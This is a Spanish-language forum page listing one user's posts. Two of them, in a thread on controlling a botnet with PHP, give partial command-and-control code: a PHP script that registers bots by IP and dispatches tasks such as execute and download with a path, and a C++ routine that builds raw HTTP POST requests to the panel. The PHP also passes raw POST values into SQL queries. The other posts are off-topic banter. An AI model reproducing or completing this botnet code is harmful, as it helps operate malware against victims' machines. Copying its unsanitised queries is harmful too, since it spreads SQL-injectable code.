Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Vaagish

#201
PHP / Re: Controlar botnet con PHP
17 Septiembre 2014, 00:26 AM
Hi! Lo que yo hice en mi momento fue hacer POST, cada 30's al web server, este se fija en la base de datos si ya tiene guardado al cliente (mediante su IP), si el cliente ya estaba en esa base de datos, busco una tarea para enviarle, esto lo hace el "echo", yo al principio creía que se iba a escribir el comando para cada uno de los bots conectados, pero para mi sorpresa, funciona para el cliente "conectado" en ese momento, es como tener "una versión de la pagina" para cada cliente ;)

Bueno, el asunto mas complejo es que los REQUEST'S que envía C++, son protocolo HTML, este protocolo (al igual que todos, creo) No es complicado, lo complicado es no cometer errores,, por ej: Un espacio de mas, o un Content Length con un byte menos (o mas) que el exacto...

Sobre los Socket en C++ deberias seguir el hilo en el subforo de C++, seria lo correcto y en donde hay mas información..

Suerte! Saludos!

PD: Creo que el uso de Base de Datos es fundamental para este tipo de situaciones,, de otra forma no se me ocurre...  :silbar:
#202
PHP / Re: Controlar botnet con PHP
16 Septiembre 2014, 19:51 PM
Esto es una pequeña parte de un proyecto que arme hace un tiempo ya..

Código (php) [Seleccionar]
if($_POST){

$Request = $_POST['A'];

switch($Request){

case "TS":
// Actualizar / Pedir tareas
$IP = $_POST['B'];

$Result = mysqli_query($Connex, "SELECT Tareas, Path FROM bots WHERE Ip = '$IP'");

if(!mysqli_num_rows($Result))
{
echo "RH\0";
break;
}

$TIME = date("H:i:s");
mysqli_query($Connex, "UPDATE bots SET Actualizacion = '$TIME' WHERE Ip = '$IP'");

$row = mysqli_fetch_assoc($Result);

if($row['Tareas'])
{
if ($row['Tareas'] == "EX" || $row['Tareas'] == "AI" || $row['Tareas'] == "SM" || $row['Tareas'] == "GT")
{
echo $row['Tareas']." ".$row['Path']."\0";
}else{
echo $row['Tareas']."\0";
}
}
$Result = mysqli_query($Connex, "UPDATE bots SET Tareas = '' WHERE Ip = '$IP'");
break;


Bueno, no esta completo el ejemplo.. es una porcion, pero creo que es la porcion mas importante..  ;)

Y en C++ precisas algo asi..

Código (cpp) [Seleccionar]
// OVERLOAD SENDREQUEST
/* ****************************** */
int SendRequest(SOCKET s, char *data1, char *data2)
{
char HOST[200] = "\0";
char LEN[100] = "\0";
char BUFFER[2048] = "\0";

sprintf_s(HOST, sizeof(HOST), HTTPHEAD, "/php/core.php", "TUHOST");
sprintf_s(B1, sizeof(B1), HTTPTEXT, "form-data", "A");
sprintf_s(B2, sizeof(B2), HTTPTEXT, "form-data", "B");

sprintf_s(LEN, sizeof(LEN), HTTPLENG, strlen(B1) + strlen(B2) + strlen(data1) + strlen(data2) + strlen(HTTPENDS) + 2);

strcat(BUFFER, HOST);

strcat(BUFFER + strlen(BUFFER), LEN);
strcat(BUFFER + strlen(BUFFER), B1);
strcat(BUFFER + strlen(BUFFER), data1);
strcat(BUFFER + strlen(BUFFER), "\r\n");
strcat(BUFFER + strlen(BUFFER), B2);
strcat(BUFFER + strlen(BUFFER), data2);
strcat(BUFFER + strlen(BUFFER), HTTPENDS);

send(s, BUFFER, strlen(BUFFER), 0);

return 0;
}


No voy a entrar en las cabeceras HTML, porque recuerdo que costo bastante, y resolverlo me dio una alegria inmensa, asi que dejo para que te alegres vos tambien..  ;D

Saludos!
#203
Pero.. no es ilegal eso? Quien obtuvo las fotos, Reddit??  :rolleyes:
#204
Interesante.. lo próximo? Las cámaras de seguridad de todo el mundo? O eso ya lo tienen?

Saludos!
#205
En que quedamos? Es ese AK-47? Pidió disculpas pero sigue atacando o que??

Saludos!
#206
Bueno, veo que volviste a participar Grapx  ;-)

Si ya termino el berrinche podemos seguir jugando a ser miembros de una comunidad de informática..

PD: Pero hay algo que no quedo claro y creo que muchos lo están esperando aun..  :silbar:

Saludos!
#207
Perdón, pero se están desviando del asunto principal.. Y las mujerzuelas?

Saludos!
#208
Si se hubiera registrado hoy podría poner las manos en el fuego que era Graphixx  :xD

Citary donde esta el foro con mujerzuelas y juegos de azar ._.

+1
#209
Citar¡Eso!, fundemos nuestro propio foro de informática con juegos de azar y mujerzuelas.

Donde me registro?  :laugh:
#210
Es que dejaste la sesión abierta en casa de un amigo? O el tema del bulin (lease como bullying) te esta afectando en serio? Bullying mediante un foro? Es que perdiste la cabeza?  :xD